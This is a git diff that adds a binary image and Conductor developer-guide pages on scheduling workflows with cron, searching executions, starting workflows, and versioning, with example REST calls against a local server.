zuLi)5bc{B)`rx!BSyhq{LAI!ZICg5lO=`u!EPq-6_VF_{srfF*ON&_1QKKlyG9_`} zPzH|2I0o|X7UU(s@)D>oLG;J1zW_4f4M_hb2Fqj4f|H)oxPp^^fz$k{y}LirViwd5 z2HGkpfbK;O3&4)QL%zbqqN!Av+C5n1|6Qt6Y)Y`$9lcwtN3hz5{>SKDOSJBuiTZ@W zfxIeMb~C<3&8H7(`i$!mN3I6mYKe$%(e(w(tJb4gT+2sE!KU1T0m*MejB1D3%5@#E z?DO8cc8F<$S%)H~u@JG-63DObb5dL@B?MNoXQvPKn|3RMYlkkMA}rGdNSb%H`dn9r zLEyK#b7$!t$8<0d9OGY9UCar-GgN^uUIH77s3=BEey|Mhc#JqXMlwHI+UH>o8(1ld z=5~kyaF9G7Xf##cn1&ie45owFrdMMWp&U$ucr?RYxN!|YA}dM52Fc7rSqP=j)_k>z z80;(vGwu-)v3fG=N&|UyCiMC(M7tw;*%F$u0u*zzFwMN+<0w(63VmNx6Ce?JiOr4; zJw23B5|2lCuZdlYBluL_-n+A=uDyvMKM5d4k9F{A-`_DT|K*DMF?cr-8tyw*P`&J( z{*56%R_w8Y!pXGc>4!W)VCdy;EDTuX34#SUoX51E>5pf)J9>>As~B-DQ8x-QT`tn6U#Re z_3(%zfVQR<0&A6V2E6Uo5%UZ!wwe64G>+}oacvLOr{fQQhN*Dip;|~L@y|OyPo`k$ z9G2Yw2w)g)g6so#VP|1n8}I8`V3B^}sP5ej`KwT)nipMC1A|-JKaT$X?fz4wbRca< zhpeppAsgFS%12o{qNrsIk0kg>r1bQ3FgQJ>&BSDy&R<7EL&KqMn$9(T+aYL*&fAe@ z=HPvu>=sRWs@M?*keY>v<(?p%tgL8Jf1k~E{{$>8j6jv(9FTyY+5otyls^<`-oUSs z-x65ZcwYzb_8vH=c&ZWtoXFZlMMa&1ZZn-^T0(>;JB}RKQo!dR;LU3XR;~ISk2!G1 za;44m7JyG90e)p6B_;L57I!9|CT7}zizW<;CXD!PQ}X2wy6u)^w<70RSfb7>E}WzW z9Z_ejn!t6R8xcUWsK38|x)Q|}80AnN6pI3*1_1}))2eQw*X_s+Vnkk^bo?D6w1e@Q z!VNgxJ^sq7w-XGUo`cGfIw`Cz%eg4`dMn_Ta9v)$$A8Or6#&J*2+IBa6Ep|nUV~IQ z=s93F)0~`-5f^bTJ}=|wisfXG1$_-bI2mGJu!~}}$-D?KOM4lZQh=7V;KrB}9KqIf zVO;vH;KO(M;U&PG|sOAINS-M$N+F^JDyE>n)$|T$({T zV7(S#0haXAR^j!Z&;Ti-W*MSpVXOniP`StqAovjI|6#|)a~MJ3-fssizssbNvn&h| zj4CX!I7<14TxHaIP@vL(JF3K{A)u0ylJff+8ag_F8fl)unK=D^Sj3dn{5*h|B_#wk zu+N(EV-SX&UloQdpr7`9j}#vP2izkO%_LP=0w6}Y5(tz7Dse`iNCc)sbi3D&l_ffXP&JR{9m}b_0MJPN2Y2tcp2?fZ}6cPcm5hivZ zO-kUq1ZU-&?K$XGmiIa^pYcJ<<7&bI;c~*^ki$f5KssnIc1~fA*(L0#rLpr^!2&FZ z3rr%6@+F$AO=PABuacs0t_fC$?@FIO(_3`QEVoGr1g0TgkoA=8t*i7=Zqi^HamDr9 zKIo$RyT1@pM_n#6r|F*ie2>DGlo^Kh(Ekm+P|%oJUx;T` zAh`K9_MeG&p(p%!9i-{Qv&?!f@4Yx8*uVA0aHM(TmNQE}S_YvHB;Q$RW$(fYyipQJ z&>IEMAT4Qb9qF5-T4@bZ&xc~VcaN-TW9!4D4|R`kN-CXZWW>pAjJ`}w-MznnilwtRP;4kgFiWNQ5^Zc=8>)Du2@dHRi{zR z!GjgjzDigH3hvj5=pBLdKa{jH3U3dHsM8|vEQ{lJ?RS{(OXmhWRily;M2?ynW2aXY zb}E`NYcky{S6)lnAkJrSVuBkW#vX2vh7^FqY6pLv9LdSb&qv<3GF6PQw$HpShQy)4 z*rd0Agu}HSAO_P6L7k*m&yV2FP_Pe8WQa`|n1=@cs19fEq}PfA0exuIv+TX9G!JPD z2sxY7dvDWXQu{VzBom4;z9wm)6N#F*js{mp)hn7q!KuSkTAxL78lOK_MbQLnaVyYk zvEkg_QbhC?aVe?T0k+I?MtgMf22fK-we$5 z$q|i;ae1TJ7@SAlyZ{#hH;MB&O=pJsfIxR zwR*Lz)O^|T#1VoQ!OlsLTB=+wi`in&@RiSgxx3iJSW6fV?%*#dBVa*&U zSHfhw^Q|+aHMi-~T;)dh1vL}c%8nlgyx+*U0|O-NfT(oeeVD>pFe~fjDa<6EV2mBt zo0-~Yq~>23%NZRQeU(yfa*s@==fgj}y%?SI^ z-kCb?LJY#AxcgkfOY<}TWcMf<`AMgElQzkX2&8guj+kil4=yQ#FIPTS*|ll-ct4TGCsTEWgAbf5#^;xz}aS_|H@d){VIQs{fyT z>xH^J>A{?g?a06CP1(%WPd{BWf(!ld*V%AbGmY7!8+$6%7Y;WIc+X%OH4fOLJImM2 z?s&~z>CmsP`)7oUPWw_rfA!XXp?{%&|3TWlPq<~6x}NUmpf|I1FCN6yeC@hsJvm~J zWn>zSp>FMtdmMndqxX%e$C5Xad|tj3CX=#D4+sT{_jI&x ze)R00yd4C4--o%ushsP;LlB*ND$X)W6h*oQT)wUHc{LV=a|Nj#U*0Y3AKz!XAhlgU z*7*rYi23rS7>AM5R+XE3_2kPYSB$Wa{aqk7SRpoop3v<)((jRt_hn}0YLjhQ|!gG zo)B8hmUkjtQ}(otPJ|7^+ z900%kLEjAPp8#A@h3@(Ej`SHfSAf$%GRoDS{`zxd;nY!bE(uNJri59NbSHX|~66S%6Yb6IQw+ zOCgDRV&3)8H~DScQ(r&WZ=XHXT!-*9SunZd-(AygRpz&@w1_OdL0DDU{B_b0+YI`u zc;!^?I#j_)%8uRDB~Q7!mFcV@ufTe4FRx~FaSG45@1ggs zP$J+@Z4cBj^rY0zm+p#ZmcnbYIVdwUOp^o=8Hjqr&j(blvcRPp9`qG%VEAFi&G_RX ziGTcn#nyQ$31lc?Y&&&kSX_C1NviuWS{K;;hD!d?PMmxX+Lte1#++I)W-|(!XhNi- ziph?dN4{GE#!W$GPZ5Aq5Xk;}KE5f+Y2)JGWJ;+!*s&%s-H6q}eM|~;ttx}3;Q&4X z-h+0A)#skOn=P#2LciRx`z5ktdH|VR)c23)gYth#pYWT^SLh64PGA3jtPX>_I_n+Z z4xwEz6rm*WQ#Qjf(VKquo{R78w7a@yYo|+EUolNdW3kG1@v(7L>ndy3Ii^?nRMp>^ z6ad#|E(rwJ2F4^tj8b3fX4P`L&G1zFLNG{ zZEXm?@?V{Pv?l2DVJ9ZPbd6vYTF;nNm`>Ubd5l0YliR zJ;AycgS!5LDSVnoV>h%=!GXQFN@D#x;vPkubkv|Su4(Ob1){adGl3n(?Bp5 zPMbGTZVB0HQJf8474qHgbua=mmW6AksX0op{Rdlxq0D2i1zzXE0z zm{WbYoh61pzfWYyMR7VSwVs9Rpm=JT|MJjqgKr@wTSq$660jOsK2#55bNCQ#OtuXx zC@5D|C~(Mz7HM~E!a8{H>uwmRAy7<~UzlUHvvsY`{7M*Y$vbk_50<9X1B-Pz=x7$h zm*oZUSA5Q_hJG~W5Z#qD0|;jBV_M=n9FL!>-nEKBcQK;VR_GK zh9(u?Of-4CI2v9VtMJ*s`O>iBJJ1UDqCZ$JqoViz?d1Pp9Mt-4B+PVN{&IX&7AK%w zcr2h>YA1LxUK&~x|6|0Kld1zO2;!H>EBV85u^YjI?CWJNIl_qc5EU0+C;UO$a)aC! zn)4%)b5Mb;t9*zQGK7Ds%i}LDi(OZmvRPu2D#It!9@lye)l=2I!!g*OanWM2fB6tW zFs#fzkN*=jz1whRn?fOa#(~o>IzH*}M?%XDf zGhngyZ{p{`kdl-pjfa1rnF8}%FtXX1-3XS@z|otM*-8fWmQ6oM=MD!g|8!lja6^#d z`9X50==>%lY1xufp(Zi%!5$@ycQ&Ko6_aR46}^A@58UGs*uKbhIz#xAZTxW`m0dSW zLetFHNfY}9a->1HgZIwwy^X}<&hbbd=6R1-yB*R=je$=eyI(p{w<4O}mISrrt%U+L_mZrlboa`5%(W-Nqnk)Oje9^~_4PvY+8T1foT(hZb)z&y|t7 zV(fytH=M6f0=@ELsNj6d`Hrq%Y&A;zhV|)#!uek60!FjG{Ju1AUr2A^Xx1vG!TpY@ z2s>kkS`rl{D3_q`w3!lkFCkxDk;tPDBQSe~7Uoycl9r6Kcon`7@tl)f6StT8+B(DY zo4cThDprAX^=qw8AKKnUhizGa&pa8ZW9u@0c(FuQt)#85b7)gnSp>7DCA;{u=ONf|f$ z?|`}I%%<_;A>$6K#26%4zVZ?yVbV7ewf^)j=-uN$zB72EvDQ?LCtcb)Ix+9k2ZRXIg!>5Y9Axo9 zN8Xdg;Lt8M$NTw_b7(!RhXI!KTzFR$GF4UEK@n0^0gqq#7Q}qef;ThxU>7;lZ$X=_ zqN6iTLG0DdghyzW^1POx*jD8w63ueeKhVflCALG7QYRisMJ`q$&h~7f8j;NAUKEqa zdTD_B_BG)_7FJA5WXR(Q$rQL$-M_e7jv_v$v9v0mq;2ZXn|X5PmRf6Cp-ViLEu{gI z*y*U20&C1)%f4EU3w$8D3nh2k)Gmg(z<;@J=1|+R6&-;Ex4S ze#*^@v32%X%%A0#AN<3!fqX`xo$c~lid_4+`+IMHs2A)T5B>Mr{nK0UZ}-M{T#hdF zX4fAjjvmYTeF0vQ`oZ8Y=fXvC{)55)?~aN8AT4>BR~GzmAbiW&7og#oQ74sAb{qP; zwCarV#peb~P(nG?uy#Jd{AU8jp4UW_9ONW$iy3Ci7qwEtMiWLR*HkA?H~FdTKxswv zz4lM(w19LUD-}HK?!LCW$>7cF$RnI@>?2=$Ii~03O<(12#nG=m<^fY|X$b=xG)VBA z1^_T8D+wV;qpN-k_6GkrAP~zFx&PaXxb_N#6 zS;K>8Ah|utY4wZYGUVb~sT1zeF9tUvn|`mW;c(vDNpEtd(-3=1I6v`~-Npamdr#Th&Q7(zzSv z(#wi}o6N?664+==@Lj5xVIBc}3v(Jx%D%qf^wN`ne4II*dXuwu_G=IZW+C|soBVV3 zTh9cbVZSmV(_h=^i;LU9-Y799q^O+$>vs&Eyuo|Y5yrUFdRbEZBFxAT1Mr;=+PX;hCM8Q_$uhjxm=QHVq|7N?Le=A6vfe`4aDI@L0qK{=OF$?V899+aAMu#-xr5} zu18QTy#kMpYQX&6Wwt2EcX*X;=7&GzJ^`yu7_w$C?)81SUL+E?po?Lt%kAUo@+z&JkJuhe{PUag)j*Sr?J|5hLizsFYhe(e`{`=r+%g^Zce_JUt$25Le;?+K=<^riD2xB} zw+Kc`1TjhCBy+$IY4_pvjqI{~bbd!bP0%M@0By@Cx-sd2RrPM(3fjLnP z-};mnIn*Ni4;^%hpTEV11YqOV#CBUa+S$P};wc`+OxgA+!E6*(9qu5Rd+Oy%72|a6 zz>s!W9uhb(s15h=F50n=1d|I2fe>e;Q*+N~?Ct3Fff(;n?60(@CpXPq0*hAIj;IBa zru!(P-RBYDz--7^VY7kW?|*R}-Fwh^-59~%uiUs&aYWa5(TK$9VO4?>u_=^99$Bw9 zpgE`)Eus07B~I<^EVtqD+)$eQ(Pl6s79;#Q2&e2Egr;fVBdu^N01a@&MY5Uaa-eUk zE~Ypnx#O^$;X3D=M5#*TOQw0 z;L8*%iP$p5VUxS<3A{$^QsM|P4>G^@Sl-wiE6c(RS`8bUxu3c_7cQo*BM_#sz zdEl$Tn9~s3Eb~QF*p4sAEmcNr@L)IBy^9xYJB?Y2*BMY$ zgCwVNh4GUZlQmgRe<9zPNvu@FMxC93o?bS{k1Iaq#E004)RwhFIy)i99n16slR>#I zIs;m2kidSE1Y1mQ6!zHG_27v^ljHEW6~;$bz9jzIjt>!xY6IEI8TwZ~#g*q-Y<8G> zwzgm5_uBHVn54DOC3{##Fh5krCnP6PLZ8?zo-cg*#}TJ%JB9`39VK@!{240_ ztcGgi?iY^Ctm~caPHLO@uG5sgo{HP-uRhhnrYZoB=}Sb05A_RGbrMs4tq5OF8X3rL z>W&6m)LyI>SfNv_v`KfXy>z*KREw|Zd5EkMs^y{XZEVHvY(IQyFQG4q!?*KifO%fw zY^0A1diHe}wVn7F+#a!y4LCoh%9?V(84WGVXa2m(D z^=LV5QlM9;|5Wfnn^U^RbY)i(TBSS9Za8DW8*2Ng`f_`i_+&B+4LUx2h+tX|`*U9B zKY&kHxbp9TZTU?Wzzk+h)*+?Ikf%pb>cs!q^bvUtxnqLb;W0jJ#uO0c#e5fe?F*6- zt4471NoSmM>%yEH45$5cM}HD!~;yh*W5Vf0#?k^Pzz$D#3Pw6v}=vc|_2E+zoXQ@y6hgyOR7%e_8J z!MxQKXiPNKI@eI;{7g@bMQFL*xxp~Cde47<==8J4s^oOxEd8^QleomVg_GG@A&<6# zGuqDwvDkBT3ToTtYS6oE+ZX{oP^OXLvy6-TFNA}BM0p_`xQ?B;ZR2kHeg_~>*1B?o zu#SFodc|7s9F%1zVM$7Xtxbxo-cK9NE5w|W24efUst@G=Bwv*wKHu^zB~5cUkBvILjFIP?S^I6lTD$a0E6eqUIv<745o5wZ7yl6uEgisG{nM zJ>gC;j{icg@NTPwe3_$YMY+ZDSN%=l$^yy?S2iFA^ntHbE_cZi0!_$+HHPF(%1yNNl%Lw4+>-^LOvwaXXp zwK*_7|CNL)agvKkV2{;$-^<@-d2F+=hs2m z5Kk9hX&?4Bty-N7DdtZrt=lB1eO-;!~0nv(Zs` zx9w?+f4Q*l-L@AOKi*u7??O!`4H#q*_>ztW%xB4visA(_>Gko4t9WGryTe9b520(q zpGDjB9T1&_8w?tBl3ba>IYUQLV8PFi44$@u1J>EWS1G=X%Welk7~;0)`n`;#TaWQ4 z6ntsZ!Ko)-u^}<~6F_F|Bf#pt%a4|ek4M!+Pzfm6R^5lkYm4Jy6>^}m1~Rl9OTZch#}wr*rC1M zdjnw(!X8hab_v)5*ZbF)El2jJk&i857o<6kaUOL?R!Q*2dm}*Vbu=B{m!TM8Y}4T& z`n6ACK-;pE*~J;Zb>s;jV4kaK1~@|8cWFjWu~*^aQ7oJldQMB56l2(T`D$i&TI+=- z2vyVl5Xsh15h{KQjSI__br^vHig^H(g0n4dsoge_q1!c+ZyPuT?%n--6!7_!c6wK0{ZKgj>rrF5GY1;L zm4*9z%Ol{nTsal>mAh%05>~bKU@&@ zUEiO>a7ea3Wn1}K9DK{8o4|Gk5B@0hf}7E;Rg{zZ>?r632j?KR6;RdDrNy|)=8|)O zOPIx)6MCqyeFm&rEpkO?QAqaysQzS;((mXee_5`={leJ0mn>&;Y#Z@y2M{kbo`Vwm zFF6Xds;keU-H^WJFpPan*HCZeb}#%8-W8o%hjrUE8S#{1+xJk+H5uoWo@ZIKWGC>w zLYzW4T|0iDOLB`7yZPwd?+b2v?{HrRpXm;YUsWB=2`3OYPUTQo=C3{PL-H0gmml^>EwGTp2@*7mGJra zJs1_pxL$T&NHLLKUbfpt$M)S0pa}KWLW)7|bFLWsK#D~8(;hFtI@jCI=~iAc42yoj zC>ZVX242S!{)}$rCfmdzo@+ApOwy5)FNWOd*Vp&bz%?^5w;eO%z%@(l_;b1yQOlB$ zD7urk1LcL)lU_X(r?uO+&6`KD2mf^tB7*)uW8M2>{>p7>H|LzU1P%hmp9C^zr{&H7 zc5y6!%~x_iF%f9c%x&o>CcLYaN0{0HK+nw8m^VIG*KUTX?w;*Qyk-u(h5``{e)6BFh>KJwQeB!cAP*=a@dEjBKGF8bi(KmUmey65Kvm(LQ5{keZ) z?!An)@|GYQ+7JC(eqw^|`y+pypE`GZPW-e#M_3}^Z7u5mlVhCCe3eTEO#{AFVKnI5O zOmKh;2Uh%Bl{*dQu&)0M!8vC)o1Onu(H~Q1Wx_omccWh)5oc_(`CjOLf6$ftL5p#=%{9yP zr@*=0asdnfIZy41LAIT_ZD@VI^VjS&-Tmk4mYu3wcE=&BUGsBiF7r9*{|rv-(ZCj$ z((FB#bB<>83x8#P^bzP3*SR&%Uj^?zTb}|9GhhJp3O)j91^N@{udaJF{#PK8sd(p? z{mL!!D?z@OS91Kiz5j*sp_)hK{qj%vzCQlbP&UnG|KTFve*W6aXC5C14($DUH|gl> zzc#jC=2hN(|4-x8=kIYXQFYT*8jf=0A!jgDF6Tf literal 0 HcmV?d00001 diff --git a/docs/devguide/how-tos/Workflows/scheduling-workflows.md b/docs/devguide/how-tos/Workflows/scheduling-workflows.md new file mode 100644 index 0000000..ed0b004 --- /dev/null +++ b/docs/devguide/how-tos/Workflows/scheduling-workflows.md @@ -0,0 +1,196 @@ +--- +description: "Schedule workflows to run on a cron expression using Conductor's built-in scheduler. Create, pause, resume, and delete schedules via the REST API." +--- + +# Scheduling Workflows + +Conductor includes a built-in scheduler that triggers workflow executions on a cron schedule. Schedules are managed through the REST API — no external cron daemon or job scheduler is needed. + +## How it works + +A **schedule** binds a cron expression to a `StartWorkflowRequest`. On every cron tick the scheduler starts a new workflow execution with the configured input. Two timestamps are automatically injected into every triggered workflow's input: + +| Input key | Description | +|---|---| +| `_scheduledTime` | The exact cron slot time (epoch ms) | +| `_executedTime` | The actual dispatch time (epoch ms) | + +## Cron expression format + +Conductor uses Spring's 6-field cron format with **second-level precision**: + +``` +┌─────────────── second (0-59) +│ ┌───────────── minute (0-59) +│ │ ┌─────────── hour (0-23) +│ │ │ ┌───────── day of month (1-31) +│ │ │ │ ┌─────── month (1-12 or JAN-DEC) +│ │ │ │ │ ┌───── day of week (0-7 or MON-SUN) +│ │ │ │ │ │ +* * * * * * +``` + +| Expression | Meaning | +|---|---| +| `0 * * * * *` | Every minute | +| `0 0 9 * * MON-FRI` | Weekdays at 9 AM | +| `0 0 0 1 * *` | First day of every month at midnight | +| `*/10 * * * * *` | Every 10 seconds | + +## Creating a schedule + +**1. Register the workflow** (if not already registered): + +```shell +curl -X PUT 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d '[{ + "name": "daily_report_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [{ + "name": "fetch_report_data", + "taskReferenceName": "fetch_report_data_ref", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://jsonplaceholder.typicode.com/todos?userId=1", + "method": "GET" + } + } + }], + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 120 + }]' +``` + +**2. Create the schedule:** + +```shell +curl -X POST 'http://localhost:8080/api/scheduler/schedules' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "daily-report-schedule", + "cronExpression": "0 0 9 * * MON-FRI", + "zoneId": "America/New_York", + "startWorkflowRequest": { + "name": "daily_report_workflow", + "version": 1, + "correlationId": "daily-report-${scheduledTime}" + }, + "runCatchupScheduleInstances": false, + "paused": false + }' +``` + +The response returns the saved schedule object including its computed `nextRunTime`. + +## Schedule definition fields + +| Field | Type | Required | Description | +|---|---|---|---| +| `name` | string | Yes | Unique schedule identifier | +| `cronExpression` | string | Yes | 6-field Spring cron expression | +| `zoneId` | string | No | Timezone (default: `UTC`) | +| `startWorkflowRequest` | object | Yes | Workflow to trigger — includes `name`, `version`, `input`, `correlationId` | +| `runCatchupScheduleInstances` | boolean | No | Fire missed slots if the scheduler was offline (default: `false`) | +| `paused` | boolean | No | Create in paused state (default: `false`) | +| `scheduleStartTime` | long | No | Earliest time the schedule fires (epoch ms) | +| `scheduleEndTime` | long | No | Latest time the schedule fires (epoch ms) | +| `description` | string | No | Free-text description | + +## Previewing execution times + +Before creating a schedule, preview when it will fire: + +```shell +curl 'http://localhost:8080/api/scheduler/nextFewSchedules?cronExpression=0+0+9+*+*+MON-FRI&limit=5' +``` + +Returns an array of epoch-millisecond timestamps for the next 5 execution times. + +## Pausing and resuming + +```shell +# Pause +curl -X PUT 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule/pause' + +# Pause with a reason +curl -X PUT 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule/pause?reason=maintenance+window' + +# Resume +curl -X PUT 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule/resume' +``` + +## Listing and searching schedules + +```shell +# List all schedules +curl 'http://localhost:8080/api/scheduler/schedules' + +# Filter by workflow name +curl 'http://localhost:8080/api/scheduler/schedules?workflowName=daily_report_workflow' + +# Search with pagination +curl 'http://localhost:8080/api/scheduler/schedules/search?workflowName=daily_report_workflow&size=10' +``` + +## Viewing execution history + +```shell +curl 'http://localhost:8080/api/scheduler/search/executions?freeText=daily-report-schedule&size=20' +``` + +Returns a `SearchResult` with `totalHits` and a list of execution records, each containing the `scheduledTime`, `executionTime`, `workflowId`, and `state` (`POLLED`, `EXECUTED`, or `FAILED`). + +## Deleting a schedule + +```shell +curl -X DELETE 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule' +``` + +## Passing input to scheduled workflows + +Static input parameters are merged with the auto-injected `_scheduledTime` and `_executedTime`: + +```json +{ + "name": "input-param-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "startWorkflowRequest": { + "name": "input_param_demo_workflow", + "version": 1, + "input": { + "reportOwner": "platform-team", + "alertThreshold": 100 + } + } +} +``` + +Inside the workflow, access all values via `${workflow.input.*}`: + +- `${workflow.input.reportOwner}` — your static input +- `${workflow.input._scheduledTime}` — injected cron slot time +- `${workflow.input._executedTime}` — injected actual dispatch time + +## Configuration + +The scheduler is configured under the `conductor.scheduler` prefix in your application properties: + +| Property | Default | Description | +|---|---|---| +| `conductor.scheduler.enabled` | `true` | Enable/disable the scheduler | +| `conductor.scheduler.pollingInterval` | `100` | Poll interval in milliseconds | +| `conductor.scheduler.pollBatchSize` | `5` | Schedules processed per poll cycle | +| `conductor.scheduler.pollingThreadCount` | `1` | Number of polling threads | +| `conductor.scheduler.schedulerTimeZone` | `UTC` | Default timezone | +| `conductor.scheduler.initialDelayMs` | `15000` | Startup delay before first poll | +| `conductor.scheduler.maxScheduleJitterMs` | `1000` | Random jitter added to dispatch times to smooth load | + +!!! note "Catchup mode" + When `runCatchupScheduleInstances` is `true`, the scheduler fires all cron slots that were missed while it was offline. Use this for workflows where every execution matters (e.g., billing, compliance). Leave it `false` (default) for dashboards or monitoring where only the latest run matters. + +!!! warning "Concurrent executions" + The scheduler fires on every cron tick regardless of whether the previous execution has completed. If your workflow takes longer than the cron interval, multiple instances will run concurrently. Design your workflows to handle this, or use a longer interval. diff --git a/docs/devguide/how-tos/Workflows/searching-workflows.md b/docs/devguide/how-tos/Workflows/searching-workflows.md new file mode 100644 index 0000000..02ffcf3 --- /dev/null +++ b/docs/devguide/how-tos/Workflows/searching-workflows.md @@ -0,0 +1,53 @@ +--- +description: "Searching Workflows — find Conductor workflow executions by name, status, time range, or task parameters in the UI." +--- +# Searching Workflows + +The Conductor UI provides a convenient interface for searching workflow executions. There are two modes of searching: + +* **Workflows** tab — Search using workflow parameters. +* **Tasks** tab — Search workflows by tasks. + +**To search workflow executions:** + +1. Go to **[Executions](http://localhost:8080/executions)** in the Conductor UI. +2. Configure the [search parameters](#search-parameters). +3. Select **Search**. + +Once the search results are displayed, you can sort the results by different column values and select additional columns to display. + + +## Search parameters + +Here are the search parameters for each search mode. + +### Search by workflows +The following fields are available for searching workflows in the **Workflows** tab. + +| Search Field Name | Description | +|-------------------|---------------------------------------------------------------------------------------------------------| +| Workflow Name | Filters workflow executions by its name. | +| Workflow ID | Filters to a specific workflow execution by its execution ID. | +| Status | Filters workflow executions by its status (RUNNING, COMPLETED, FAILED, TIMED_OUT, TERMINATED, PAUSED). | +| Start Time - From | Filters workflow executions that started on or after the specified time. | +| Start Time - To | Filters workflow executions that started on or before the specified time. | +| Lookback (days) | Filters workflow executions that ran in the last given number of days. | +| Lucene-syntax Query (Double-quote strings for Free Text) | (If indexing is enabled) Filters workflow executions by querying workflow input and output values. | + + +### Search workflows by tasks + +The following fields are available for searching workflows by its tasks in the **Tasks** tab. + +| Search Field Name | Description | +|--------------------|--------------------------------------------------------------------------------------------------------------| +| Task Name | Filters workflow executions by its task name. | +| Task ID | Filters to a specific workflow execution that contains this task execution ID. | +| Task Status | Filters workflow executions by its task status (IN_PROGRESS, CANCELED, FAILED, FAILED_WITH_TERMINAL_ERROR, COMPLETED, COMPLETED_WITH_ERRORS, SCHEDULED, TIMED_OUT, SKIPPED). | +| Task Type | Filters workflow executions by its task type. | +| Workflow Name | Filters workflow executions by its workflow name. | +| Update Time - From | Filters workflow executions by tasks that started on or after the specified time. | +| Update Time - To | Filters workflow executions by tasks that started on or before the specified time. | +| Lookback (days) | Filters workflow executions by tasks that ran in the last given number of days. | +| Lucene-syntax Query (Double-quote strings for Free Text) | (If indexing is enabled) Filters workflow executions by querying task input and output values. | + diff --git a/docs/devguide/how-tos/Workflows/starting-workflows.md b/docs/devguide/how-tos/Workflows/starting-workflows.md new file mode 100644 index 0000000..573928b --- /dev/null +++ b/docs/devguide/how-tos/Workflows/starting-workflows.md @@ -0,0 +1,68 @@ +--- +description: "Start workflow executions in Conductor using the UI, CLI, REST APIs, or client SDKs. Pass inputs and track executions with a unique workflow ID." +--- + +# Starting Workflows + +In Conductor, workflows can be started using the Conductor UI, APIs, or SDKs. + +## Using Conductor UI + +The Conductor UI is useful for sandbox testing before deploying the workflows to production using the APIs or SDKs. + +**To start a workflow:** + +1. Go to [Workbench](http://localhost:8080/workbench) in the Conductor UI. +2. Select the **Workflow Name** and **Workflow version**. +3. If required, provide the workflow inputs in **Input (JSON)**. +4. (Optional) Specify the **Correlation ID** and **Task to Domain (JSON)** for the execution. +5. Select the ▶ icon (Execute Workflow) at the top to run the workflow. + +Once the workflow has started, you can view the ongoing execution by selecting the Workflow ID hyperlink in the **Execution History** side panel on the right. + +## Using the CLI + +You can start workflow executions using the Conductor CLI. + +### Example using the CLI + +In this example, the CLI is used to invoke the workflow `sample_workflow` with the input `service` specified as `fedex`. + +```bash +conductor workflow start -w sample_workflow -i '{"service":"fedex"}' +``` + +## Using APIs + +You can also start workflow executions using the Start Workflow API (`POST api/workflow/{name}`). `{name}` is the placeholder for the workflow name, and the request body contains the workflow inputs if any. + +??? note "Example using cURL" + In this example, a cURL request is used to invoke the workflow `sample_workflow` with the input `service` specified as `fedex`. + + ```bash + curl '{{ server_host }}/api/workflow/sample_workflow' \ + -H 'accept: text/plain' \ + -H 'content-type: application/json' \ + --data-raw '{"service":"fedex"}' + ``` + +## Using SDKs + +Conductor offers client SDKs for popular languages which have library methods for making the Start Workflow API call. Refer to the SDK documentation to configure a client in your selected language to invoke workflow executions. + +### Example using JavaScript + +In this example, the JavaScript Fetch API is used to invoke the workflow `sample_workflow` with the input `service` specified as `fedex`. + +```javascript +fetch("{{ server_host }}/api/workflow/sample_workflow", { + "headers": { + "accept": "text/plain", + "content-type": "application/json", + }, + "body": "{\"service\":\"fedex\"}", + "method": "POST", +}); +``` + + diff --git a/docs/devguide/how-tos/Workflows/versioning-workflows.md b/docs/devguide/how-tos/Workflows/versioning-workflows.md new file mode 100644 index 0000000..23410f9 --- /dev/null +++ b/docs/devguide/how-tos/Workflows/versioning-workflows.md @@ -0,0 +1,65 @@ +--- +description: "Versioning Workflows — safely run multiple Conductor workflow versions side by side without disrupting production." +--- +# Versioning Workflows + +Conductor allows you to safely run different workflow versions without disrupting ongoing or scheduled workflow executions in production. + +Refer to [Updating workflows](creating-workflows.md#updating-workflows) for more information on modifying a workflow and saving it as a new version. + + +## When to version workflows + +Workflow versioning is useful for various scenarios, like gradually upgrading a process, or rolling out different workflow versions to different user bases. + +### Example + +For example, a new version of your core workflow will add a capability that is required for _customerA_. However, _customerB_ will not be ready to implement this code for another 6 months. + +With workflow versioning, you can begin transitioning traffic onto version 2 for _customerA_, while _customerB_ remains on version 1. 6 months later, _customerB_ can begin transitioning traffic to version 2 as well. + + +## Runtime behavior with multiple workflow versions + +At runtime, all Conductor workflows will reference a snapshot of the workflow definition at the start of its invocation. In other words, all changes to a workflow definition are decoupled from all of its ongoing workflow executions. + +Here is an illustration of workflow versions at runtime, when you run workflows based on the latest version, versus when you run workflows based on a specific version. + +![Diagram of a workflow definition's versions compared to its execution version at different points in time.](workflow-versioning-at-runtime.jpg) + +In the illustration above, the workflow with version V1 is executed at timestamp T1 and thus uses the workflow definition at that time. + +At T2, a new workflow version V2 is created. From that point on, any newly-triggered executions using the latest version will run based on V2, even if V1 gets updated later on at T3. + +At T3, even when the V1 workflow definition is updated, all existing V1 executions will continue based on the definition at timestamp T1. From that point on, any newly-triggered executions using version V1 will run based on the V1 definition at timestamp T3. + + +### Runtime behavior during restarts + +Likewise, by default all workflow restarts, workflow retries, and task reruns will be executed based on the snapshot of the workflow definition at the start of the _first_ execution attempt. If required, you can choose to restart workflows with the latest definitions. + +Here is an illustration of workflow versions at runtime, when you restart workflows using the current definitions versus using the latest definitions. + +![Diagram of workflow versions at runtime when restarting executions.](restarting-workflows-at-runtime.jpg) + +In the illustration above, if a V1 execution is restarted with the current definitions after a new version V2 has been created, the restarted execution will still run based on the V1 definition at T1. This applies even if the same execution is restarted after the V1 definition itself has been updated at T3. + +At T2, if a V1 execution is restarted with the latest definitions, the V1 execution will restart using the V2 definition instead. This also applies even if the same execution is restarted after the V1 definition itself has been updated at T3. + +## Upgrading running workflows + +Since any changes to a workflow definition will not impact its ongoing executions, running workflows need to be explicitly upgraded if required. + +Using the Conductor UI or APIs, you can upgrade a running workflow by terminating the execution and restarting it with the latest definition. + +### Using Conductor UI + +**To upgrade a running workflow**: + +1. In **[Executions](http://localhost:8080/executions)**, select an ongoing workflow to upgrade. +2. In the top right, select **Actions** > **Terminate**. +3. Once terminated, select **Actions** > **Restart with Latest Definitions**. + +### Using Conductor APIs + +The API approach allows you to upgrade running workflows in bulk. Use the Bulk Terminate API (`POST /api/workflow/bulk/terminate`) to 